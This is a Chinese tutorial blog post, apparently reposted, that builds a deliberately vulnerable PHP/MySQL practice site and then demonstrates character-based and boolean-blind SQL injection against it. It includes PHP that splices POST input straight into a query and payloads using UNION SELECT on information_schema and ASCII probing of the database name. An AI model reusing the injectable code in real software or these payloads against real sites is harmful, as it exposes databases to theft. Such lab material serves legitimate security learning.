从开发角度理解漏洞成因(01)

文章目录

  • PHP开发漏洞环境(SQL注入)
    • 生成前端代码
    • 生成后端代码
      • 数据库
      • 写功能
      • 调试功能
    • 测试SQL注入漏洞
      • 字符型注入
      • 布尔盲注

PHP开发漏洞环境(SQL注入)

持续更新中…

文章中代码资源已上传资源,如需要打包好的请点击PHP+MYSQL 注入靶场源码

实现功能:
1、前端文章导航
2、点入内容显示
3、更改传参值显示不同内容

实现步骤:
1、前端页面显示编写 HTML&CSS
2、数据库文章数据导入 - MySQL操作
3、PHP操作MySQL编写 - PHP变量提交

开发环境:PHP5.3 + Apache + MySQL
以下源码都可以使用 phpStudy 搭建

生成前端代码

简单的写一下前端

<!DOCTYPE html>  
<html lang="en">  
<head>  <meta charset="UTF-8">  <title>渗透测试小白的靶场</title>  <link rel="stylesheet" type="text/css" href="styles.css"> <!-- 加载自定义CSS文件 -->  <style>  /* 自定义内联CSS样式 */        body {  font-family: Arial, sans-serif;  background-color: #f1f1f1;  margin: 0;  padding: 0;  }  header {  background-color: #333;  padding: 20px;  color: #fff;  text-align: center;  }  nav {  background-color: #555;  color: #fff;  text-align: center;  padding: 10px;  }  nav ul {  list-style-type: none;  margin: 0;  padding: 0;  }  nav ul li {  display: inline-block;  margin-right: 10px;  }  nav ul li a {  color: #fff;  text-decoration: none;  padding: 5px;  }  section {  padding: 20px;  text-align: center;  color: #333;  }  footer {  background-color: #555;  color: #fff;  text-align: center;  padding: 10px;  }  </style>  
</head>  
<body>  
<header>  <h1>渗透测试小白的安全测试网站</h1>  
</header>  
<nav>  <ul>        <li><a href="index.php">首页</a></li> <!-- 链接index.php -->  <li><a href="neirong/News.php">内容</a></li> <!-- 链接News.php -->  <li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 -->  </ul>  
</nav>  
<section>  <h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2>  <p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>  
</section>  
<footer>  &copy; 2024 Cool Website  
</footer>  
</body>  
</html>

看看效果

生成后端代码

先写一个配置文件,连接本地数据库(conn.php)

<?php  
$conn = mysqli_connect("127.0.0.1","root","root","boke_mysql");  
if(!$conn){  echo "数据库连接失败";  
}else{  echo "数据库连接成功";  
}  
?>

内容(News.php)

<!DOCTYPE html>  
<html lang="en">  
<head>  <meta charset="UTF-8">  <title>渗透测试小白的靶场</title>  <link rel="stylesheet" type="text/css" href="../styles.css"> <!-- 加载自定义CSS文件 -->  <style>  /* 自定义内联CSS样式 */        body {  font-family: Arial, sans-serif;  background-color: #f1f1f1;  margin: 0;  padding: 0;  }  header {  background-color: #333;  padding: 20px;  color: #fff;  text-align: center;  }  nav {  background-color: #555;  color: #fff;  text-align: center;  padding: 10px;  }  nav ul {  list-style-type: none;  margin: 0;  padding: 0;  }  nav ul li {  display: inline-block;  margin-right: 10px;  }  nav ul li a {  color: #fff;  text-decoration: none;  padding: 5px;  }  section {  padding: 20px;  text-align: center;  color: #333;  }  footer {  background-color: #555;  color: #fff;  text-align: center;  padding: 10px;  }  </style>  
</head>  
<body>  
<header>  <h1>渗透测试小白的安全测试网站</h1>  
</header>  
<nav>  <ul>        <li><a href="../index.php">首页</a></li> <!-- 链接index.php -->  <li><a href="News.php">内容</a></li> <!-- 链接News.php -->  <li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 -->  </ul>  
</nav>  
<section>  <h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2>  <p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>  <div class="search">  <form method="post" action=" ">  <input type="search" name="title" id="title" placeholder="请输入搜索内容">  <button type="submit">搜索</button>  </form>    </div></section>  
<footer>  &copy; 2024 Cool Website  
</footer>  
</body>  
</html>  
?>

看下效果

数据库

在数据库中创建一个表,并生成一些内容

create database boke_mysql; -- 创建boke_mysql数据库
CREATE TABLE users (id INT PRIMARY KEY AUTO_INCREMENT,username VARCHAR(50) NOT NULL,email VARCHAR(100) NOT NULL); -- 创建users表,id,username,email 字段CREATE TABLE posts (id INT PRIMARY KEY AUTO_INCREMENT,title VARCHAR(100) NOT NULL,content TEXT,user_id INT,FOREIGN KEY (user_id) REFERENCES users(id)
); -- 创建posts表-- 向 users 表插入数据
INSERT INTO users (username, email) VALUES('test1', 'test1@example.com'),('test2', 'test2@example.com');-- 向 posts 表插入数据
INSERT INTO posts (title, content, user_id) VALUES('测试内容(1)', '这是第一条测试内容', 1),('测试内容(2)', '这是第二条测试内容', 2);('测试内容(3)', '这是第三条测试内容', 3);

看看结果


写功能

在News.php中写一些功能,将查询结果从数据库中的表输出在内容板块

<?php  
include("../config/conn.php"); // 包含数据库配置文件  if ($_SERVER["REQUEST_METHOD"] == "POST") {  $title = $_POST["title"];  // 执行查询语句  $sql = "SELECT * FROM posts WHERE id = '$title'";  $result = mysqli_query($conn, $sql);  if ($result && mysqli_num_rows($result) > 0) {  // 循环遍历结果集  while ($row = mysqli_fetch_assoc($result)) {  // 输出每行数据  echo "<p>" . $row['id'] . "</p>";  echo "<p>" . $row['title'] . "</p>";  echo "<p>" . $row['content'] . "</p>";  }  } else {  echo "<p>" . "未查询到结果" . "</p>";  }  
}  
?>

调试功能

正常的来输入一个 1 试试,发现能正常返回结果

测试SQL注入漏洞

只说几个典型的例子,其他注入类型都大差不差。

字符型注入

找到关键性语句,$sql

$sql = "SELECT * FROM posts WHERE id = '$title'";   //通过变量$title进行传参

构造恶意语句,不细说了,大家有兴趣的看我以前的文章。

SELECT * FROM posts WHERE id = '1'-- '" 这就型成了闭合
1' order by 4 -- // 查字段数
1' union select 1,2,3,4 --  // 查字段数
-1' union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2,3,4 --  //查表名

布尔盲注

修改后端代码

<?php  
include("../config/conn.php"); // 包含数据库配置文件  if ($_SERVER["REQUEST_METHOD"] == "POST") {  $title = $_POST["title"];  // 执行查询语句  $sql = "SELECT * FROM posts WHERE id = '$title'";  $result = mysqli_query($conn, $sql);  $row = mysqli_fetch_array($result);  if ($row){  echo "<p>"."内容存在"."</p>";  }else{  print_r(mysqli_error());  }  
}  
?>

语句构造,通过回显判断是否为真

1' and 1=1 -- 
1' and 1=2 -- 
1' and length(database())=10 -- 
1' and ascii(mid(database(),1,1))<100 -- 
1' and ascii(mid(database(),1,1))=98 -- 


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/3649.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

亿道三防onerugged|工业车载电脑在港口正面吊上的应用

港口正面吊是港口作业中至关重要的设备&#xff0c;它承担着装卸集装箱等重要任务。作为专业人员&#xff0c;我深知港口作业的复杂性和挑战性。在这方面&#xff0c;亿道三防onerugged系列的工业车载电脑为港口正面吊的应用提供了一种创新的解决方案。 首先&#xff0c;工业车…

milvus对象存储和消息中间件的工厂设计模式分析

milvus对象存储和消息中间件的工厂设计模式分析 需求 根据参数设置创建mq和storage mq有kafka,pulsar storage有local,minio,remote 配置文件 根据配置文件选择初始化mq和存储: mq:type: pulsarcommon:storageType: minio对于这种类型一个是mq&#xff0c;一个是存储&…

springboot+vue新疆肉牛智慧牧场养殖系统

系统涉及的对象是奶牛。 系统使用员工有管理员和普通员工。 管理员有修改的权限&#xff0c;普通员工没有。 系统需要包含奶牛的编号&#xff0c;种类&#xff0c;体重&#xff0c;健康情况、生长情况、牛奶产量&#xff0c;以及上次更新数据时间等信息&#xff0c;管理员可以对…

关于权限的设计

首先系统权限&#xff0c;每个账号登录后&#xff0c;都需要知道这个账号允许访问哪些api&#xff0c;哪些数据权限&#xff08;一般是指其他账号的一些数据&#xff09; 这里就需要通过角色来关联。 --1.角色绑定菜单&#xff0c;每个菜单设计的时候包含了这个菜单会用到的所…

HarmonyOS 实战开发-使用canvas实现图表系列之折线图

一、功能结构 实现一个公共组件的时候&#xff0c;首先分析一下大概的实现结构以及开发思路&#xff0c;方便我们少走弯路&#xff0c;也可以使组件更加容易拓展&#xff0c;维护性更强。然后我会把功能逐个拆开来讲&#xff0c;这样大家才能学习到更详细的内容。下面简单阐述…

【Linux系统编程】基础指令(二)

&#x1f49e;&#x1f49e; 前言 hello hello~ &#xff0c;这里是大耳朵土土垚~&#x1f496;&#x1f496; &#xff0c;欢迎大家点赞&#x1f973;&#x1f973;关注&#x1f4a5;&#x1f4a5;收藏&#x1f339;&#x1f339;&#x1f339; &#x1f4a5;个人主页&#x…

架构师系列- 定时任务(二)- Quartz框架

quartz特点 Quartz是一个优秀的任务调度框架&#xff0c; 具有以下特点 强大的调度功能&#xff0c;例如支持丰富多样的调度方法&#xff0c;可以满足各种常规及特殊需求&#xff1b;负载均衡高可用 quartz 架构体系 Quartz 设计有四个核心类&#xff0c;分别是Scheduler(调度…

一个简单的java递归下降语法分析器例子

import parser.Parser; import parser.RecursiveDescentParser;import java.util.ArrayList; import java.util.Arrays; import java.util.List;public class Main {public static void main(String[] args) {// 关键词List<String> keyList new ArrayList<>(Arra…

NXP i.MX8系列平台开发讲解 - 3.10 Linux PCIe资源分配与访问(二)

目录 1. PCIe BFD 2. PCIe 配置空间 2.1 PCIe 配置空间访问 PCIe I/O访问方法 PCIe MMIO访问方法 3. PCIe BAR相关 4. PCIe Capbility 5. PCIe 操作 本文将重点讲解PCIe的资源访问相关内容&#xff0c;对于PCIe资源访问是从Host 端老看可以对PCIe进行配置与访问的资源主…

【opencv 加速推理】如何安装 支持cuda的opencv 包 用于截帧加速

要在支持CUDA的系统上安装OpenCV&#xff0c;您可以使用pip来安装支持CUDA的OpenCV版本。OpenCV支持CUDA加速&#xff0c;但需要安装额外的库&#xff0c;如cuDNN和NVIDIA CUDA Toolkit。以下是一般步骤&#xff1a; 安装NVIDIA CUDA Toolkit: 首先&#xff0c;您需要安装NVID…

深度学习基础之《TensorFlow框架(12)—图片数据》

一、图像基本知识 1、如何转换图片文件 回忆&#xff1a;之前我们在特征抽取中讲过如何将文本处理成数据 思考&#xff1a;如何将图片文件转换成机器学习算法能够处理的数据&#xff1f; 我们经常接触到的图片有两种&#xff0c;一种是黑白图片&#xff08;灰度图&#xff09;…

网站被SmartScreen标记为不安全怎么办?

在互联网时代&#xff0c;网站的安全性和可信度是用户选择是否继续访问的重要因素之一&#xff0c;然而&#xff0c;网站运营者偶尔会发现使用Edge浏览器访问网站时&#xff0c;会出现Microsoft Defender SmartScreen&#xff08;以下简称SmartScreen&#xff09;提示网站不安全…

Windows下搭建Flutter开发环境

IDE:VS code Flutter官网:Flutter: 为所有屏幕创造精彩 - Flutter 中文开发者网站 - Flutter 下载&安装 下载Flutter SDK,如图,建议自行下载安装: SDK还是挺大的,近1G,使用迅雷下载会快不少。 下载完成,解压缩到指定目录即可! 设置Local SDK,按下面步骤操作即…

【数据结构(邓俊辉)学习笔记】绪论05——动态规划

文章目录 0.前言1. Fibonacci数应用1.1 fib&#xff08;&#xff09;&#xff1a;递归1.1.1 问题与代码1.1.2 复杂度分析1.1.3 递归分析 1.2 fib&#xff08;&#xff09;&#xff1a;迭代 0.前言 make it work,make it right,make it fast. 让代码能够不仅正确而且足够高效地…

适合初学者的自然语言处理 (NLP) 综合指南

一、简述 自然语言处理 (NLP) 是人工智能 (AI) 最热门的领域之一&#xff0c;现在主要指大语言模型了。这要归功于人们热衷于能编写故事的文本生成器、欺骗人们的聊天机器人以及产生照片级真实感的文本到图像程序等应用程序。近年来&#xff0c;计算机理解人类语言、编程语言&a…

前端开发攻略---用原生JS在网页中也能实现文本转语音

1、原理 语音合成 (也被称作是文本转为语音&#xff0c;英语简写是 tts) 包括接收 app 中需要语音合成的文本&#xff0c;再在设备麦克风播放出来这两个过程。 Web API中对此有一个主要控制接口 SpeechSynthesis&#xff0c;外加一些处理如何表示要被合成的文本 (也被称为 utte…

Idea:通义千问插件

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 一、通义千问大模型 二、程序编写助手 三、Idea安装通义千问插件 总结 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、通义千问大模型…

数据结构——二叉树的操作 (层序遍历)(C++实现)

数据结构——二叉树的操作&#xff08;2&#xff09;&#xff08;C实现&#xff09; 统计叶子结点个数统计结点个数层序遍历非递归方式递归方式 我们今天接着来看二叉树的操作&#xff0c;如果还没有看过上一篇的可以点击这里&#xff1a; https://blog.csdn.net/qq_67693066/a…

来自异国的客人 - 华为OD统一考试(D卷)

OD统一考试(D卷) 分值: 100分 题解: Java / Python / C++ 题目描述 有位客人来自异国,在该国使用m进制计数。 该客人有个幸运数字n(n<m),每次购物时,其总是喜欢计算本次支付的花费(折算为异国的价格后)中存在多少幸运数字。 问: 当其购买一个在我国价值k的产品时,…

【Leetcode每日一题】 穷举vs暴搜vs深搜vs回溯vs剪枝_全排列 - 子集(难度⭐⭐)(65)

1. 题目解析 题目链接&#xff1a;78. 子集 这个问题的理解其实相当简单&#xff0c;只需看一下示例&#xff0c;基本就能明白其含义了。 2.算法原理 算法思路详解&#xff1a; 为了生成数组 nums 的所有子集&#xff0c;我们需要对数组中的每个元素进行“选择”或“不选择…